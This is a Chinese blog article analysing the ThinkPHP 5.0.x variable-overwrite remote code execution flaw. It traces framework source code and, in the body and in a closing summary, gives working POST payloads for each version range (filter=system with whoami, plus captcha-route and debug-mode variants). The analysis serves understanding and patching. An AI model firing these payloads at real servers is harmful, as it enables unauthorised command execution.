首頁  >  文章  >  php框架  >  關於thinkphp5.0.X全版變數覆蓋導致的RCE分析

關於thinkphp5.0.X全版變數覆蓋導致的RCE分析

藏色散人
藏色散人轉載
2021-04-21 11:06:552911瀏覽

下面由thinkphp教學專欄為大家介紹thinkphp5.0.X全版變數覆寫導致的RCE分析,希望對需要的朋友有幫助!

簡介

#總是碰到一些thinkphp5.0.X的站點,網路搜尋漏洞利用payload會有好幾種,變數覆蓋導致的遠端程式碼執行,不同小版本之間會有些差別,例如下面幾種。

_method=__construct&filter=system&a=whoami
_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter=system&get[]=whoami
...

payload雖沒錯,但用得我挺懵,不知所以然。
這幾種到底有什麼差異?
各個參數的作用是什麼?
為什麼會這樣?

分析

thinkphp有兩個版本,一個是核心版,一個是完整版。簡單來講核心版不包含第三方類別庫,例如驗證碼庫(劃重點,後面會用到)。

5.0.0說起,適用於5.0.0的程式碼執行payload長這樣

POST /thinkphp5.0.0 HTTP/1.1

_method=__construct&filter=system&a=whoami&method=GET

關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
為什麼_method=__construct
為什麼filter=system
為什麼a=whoami## 為什麼
method=GET

#thinkphp的入口檔案為

public/index.php,如下。

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

跟進

thinkphp/start.php

// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

看到是呼叫的是

App::run()執行應用程式。 跟進
thinkphp/library/think/App.php下的run()函數。

    /**
     * 执行应用程序
     * @access public
     * @param Request $request Request对象
     * @return Response
     * @throws Exception
     */
    public static function run(Request $request = null)
    {
        ...

            // 获取应用调度信息
            $dispatch = self::$dispatch;
            if (empty($dispatch)) {
                // 进行URL路由检测
                $dispatch = self::routeCheck($request, $config);
            }
            // 记录当前调度信息
            $request->dispatch($dispatch);
        ...
     }

run()函數中,會根據要求的資訊呼叫self::routeCheck()函數,進行URL路由偵測設定調度資訊並賦值給$dispatch

    /**
     * URL路由检测(根据PATH_INFO)
     * @access public
     * @param  \think\Request $request
     * @param  array          $config
     * @return array
     * @throws \think\Exception
     */
    public static function routeCheck($request, array $config)
    {
        ...
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        ...
        return $result;
    }

其中的

Route::check()函數如下。

    /**
     * 检测URL路由
     * @access public
     * @param Request   $request Request请求对象
     * @param string    $url URL地址
     * @param string    $depr URL分隔符
     * @param bool      $checkDomain 是否检测域名规则
     * @return false|array
     */
    public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        ...
        $method = $request->method();
        // 获取当前请求类型的路由规则
        $rules = self::$rules[$method];
        ...

會呼叫

$request->method()函數取得目前請求類型。

    /**
     * 当前的请求类型
     * @access public
     * @param bool $method  true 获取原始请求类型
     * @return string
     */
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
        ...
        return $this->method;
    }

因為上面呼叫

method()函數是沒有傳參的,所以這裡$method = false,進入elseifvar_method是表單請求類型偽裝變量,可在application/config.php中看到其值為_method

// 表单请求类型伪装变量
'var_method'             => '_method',

那麼只要POST傳遞一個

_method參數,即可進入下面的if,會執行

$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

因此可透過指定

_method來調用該類別下的任意函數。 所以
_method=__construct是為了呼叫thinkphp/library/think/Request.php下的__construct函數。要注意的是這裡同時也將Request類別下的$method的值覆寫為__construct了,這很重要,先記錄下。

method => __construct

那為啥要呼叫

__construct函數完成攻擊鏈,不是別的函數呢? 跟進函數,如下。

    /**
     * 架构函数
     * @access public
     * @param array $options 参数
     */
    public function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
    }

上面呼叫

__construct函數的時候把$_POST陣列傳進去了,也就是會用foreach遍歷POST提交的數據,接著使用property_exists()檢測當前類別是否具有該屬性,如果存在則賦值,而$name$item都是來自$_POST,完全可控,這裡就存在變數覆蓋的問題。 filter=system&method=GET 作用就是將目前類別下的$filter覆蓋為system,$method覆蓋為GET ,目前變數情況:

method => __construct => GET
filter => system

為什麼要把

method又覆寫一遍成GET? ,因為前面在check()函數中有這麼兩行程式碼。

$method = $request->method();
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];

前面已經在

method()函數中進行了變數覆蓋,$method的值為__construct。而$rules的定義如下:

    private static $rules = [
        'GET'     => [],
        'POST'    => [],
        'PUT'     => [],
        'DELETE'  => [],
        'PATCH'   => [],
        'HEAD'    => [],
        'OPTIONS' => [],
        '*'       => [],
        'alias'   => [],
        'domain'  => [],
        'pattern' => [],
        'name'    => [],
    ];

那麼如果不再覆蓋

$methodGET、POST、PUT等等,self::$rules [$method]就為self::$rules['__construct'],程式就得報錯了嘛。

應用程式資料後取得完畢後,若開啟了

debug,則會記錄路由和請求資訊。這也是很重要的一點,先記錄。

if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

再根據

$dispatch類型的不同進入switch case處理。

            switch ($dispatch['type']) {
                case 'redirect':
                    // 执行重定向跳转
                    $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
                    break;
                case 'module':
                    // 模块/控制器/操作
                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                    break;
                case 'controller':
                    // 执行控制器操作
                    $data = Loader::action($dispatch['controller']);
                    break;
                case 'method':
                    // 执行回调方法
                    $data = self::invokeMethod($dispatch['method']);
                    break;
                case 'function':
                    // 执行闭包
                    $data = self::invokeFunction($dispatch['function']);
                    break;
                case 'response':
                    $data = $dispatch['response'];
                    break;
                default:
                    throw new \InvalidArgumentException('dispatch type not support');
            }

直接存取

public/index.php預設呼叫的模組名稱/控制器名稱/操作名稱/index/index/index,具體定義在application/config.php裡面。

// 默认模块名
'default_module'         => 'index',
// 禁止访问模块
'deny_module_list'       => ['common'],
// 默认控制器名
'default_controller'     => 'Index',
// 默认操作名
'default_action'         => 'index',

因此对应的$dispatch['type']module,会调用module()函数,经过一系列的处理后返回数据到客户端。

case 'module':
                    // 模块/控制器/操作
                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                    break;

跟进module()函数,关键在invokeMethod()

    /**
     * 执行模块
     * @access public
     * @param array $result 模块/控制器/操作
     * @param array $config 配置参数
     * @param bool  $convert 是否自动转换控制器和操作名
     * @return mixed
     */
    public static function module($result, $config, $convert = null)
    {
     ...
            $data = self::invokeMethod($call);
     ...

invokeMethod()如下,跟进bindParams()

   /**
     * 调用反射执行类的方法 支持参数绑定
     * @access public
     * @param string|array $method 方法
     * @param array        $vars   变量
     * @return mixed
     */
    public static function invokeMethod($method, $vars = [])
    {
        ...
        $args = self::bindParams($reflect, $vars);
        ...
    }

bindParams()如下,跟进param()

    /**
     * 绑定参数
     * @access public
     * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
     * @param array             $vars    变量
     * @return array
     */
    private static function bindParams($reflect, $vars = [])
    {
        if (empty($vars)) {
            // 自动获取请求变量
            if (Config::get('url_param_type')) {
                $vars = Request::instance()->route();
            } else {
                $vars = Request::instance()->param();
            }
        }

这是关键点,param()函数是获取当前请求参数的。

    /**
     * 设置获取获取当前请求的参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function param($name = '', $default = null, $filter = null)
    {
        if (empty($this->param)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->get(false), $vars, $this->route(false));
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = array_merge($this->param, $file);
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

这里又会调用method()获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST,那么通过可以变量覆盖传参,也可以直接POST传参。
所以以下几种方式都是一样可行的:

a=whoami
aaaaa=whoami
get[]=whoami
route=whoami

最后调用input()函数

    /**
     * 获取变量 支持过滤和默认值
     * @param array         $data 数据源
     * @param string|false  $name 字段名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤函数
     * @return mixed
     */
    public function input($data = [], $name = '', $default = null, $filter = null)
    {
        ...
        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
        ...
    }

input()函数中会通过filterValue()函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system并会在filterValue()函数中使用。

/**
 * 递归过滤给定的值
 * @param mixed     $value 键值
 * @param mixed     $key 键名
 * @param array     $filters 过滤方法+默认值
 * @return mixed
 */
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
    ...

通过call_user_func()完成任意代码执行,这也就是filter为什么要覆盖成system的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。

thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函数中有一处改动。
關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
这里多了一处判断,所以不加method=GET也不会报错,可以正常执行。

_method=__construct&filter=system&a=whoami

關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
测试到5.0.13版本,payload打过去没有反应,为什么?
關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
跟踪代码发现thinkphp/library/think/App.php下的module()函数多了一行代码。

    // 设置默认过滤机制
    $request->filter($config['default_filter']);

前面通过变量覆盖把$filter覆盖成了system,这里又把$filter给二次覆盖回去了,导致攻击链断了。

前面提到过如果开启了debug模式,很重要,为什么呢?

// 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

最后一句会调用param()函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter,进入param()获取参数再进入input()进行全局过滤造成的代码执行。这里在$filter被二次覆盖之前调用了一次param(),也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。
關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
filter是在module函数中被覆盖回去的,而执行module函数是根据$dispatch的类型来决定的,那是否能不走module函数,绕过这里的覆盖呢?
完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中。

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

其对应的dispatch类型为method,完美的避开了二次覆盖,路由限定了请求类型为get,所以在5.0.13开始,如果没有开debug,还可以调用第三方类库完成攻击链。

POST /?s=captcha

_method=__construct&filter=system&method=GET&a=whoami

關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
5.0.21版本开始,函数method()有所改动。
關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
通过server()函数获取请求方法,并且其中调用了input()函数。

/**
 * 获取server参数
 * @access public
 * @param string|array  $name 数据名称
 * @param string        $default 默认值
 * @param string|array  $filter 过滤方法
 * @return mixed
 */
public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

前面分析过了,最后代码执行是进入input()中完成的,所以只要能进入server()函数也可以造成代码执行。

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

param()函数是根据method()返回值来获取参数的,现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami任意参数名来传递了。

// 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

在测试的时候发现只能通过覆盖get[]、route[]完成攻击,覆盖param[]却不行,调试后找到原因,原来是在route()函数里param[]又被二次覆盖了。

    /**
     * 设置获取路由参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function route($name = '', $default = null, $filter = '')
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }
        return $this->input($this->route, $name, $default, $filter);
    }
POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&get[]=whoami

關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
或者

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&route[]=whoami

關於thinkphp5.0.X全版變數覆蓋導致的RCE分析

总结

各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发

POST / HTTP/1.1

_method=__construct&filter=system&method=GET&a=whoami

a可以替换成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以换成route[]

5.0.13~5.0.23 需要开启debug

POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替换成route[]

相关推荐:最新的10个thinkphp视频教程

以上是關於thinkphp5.0.X全版變數覆蓋導致的RCE分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除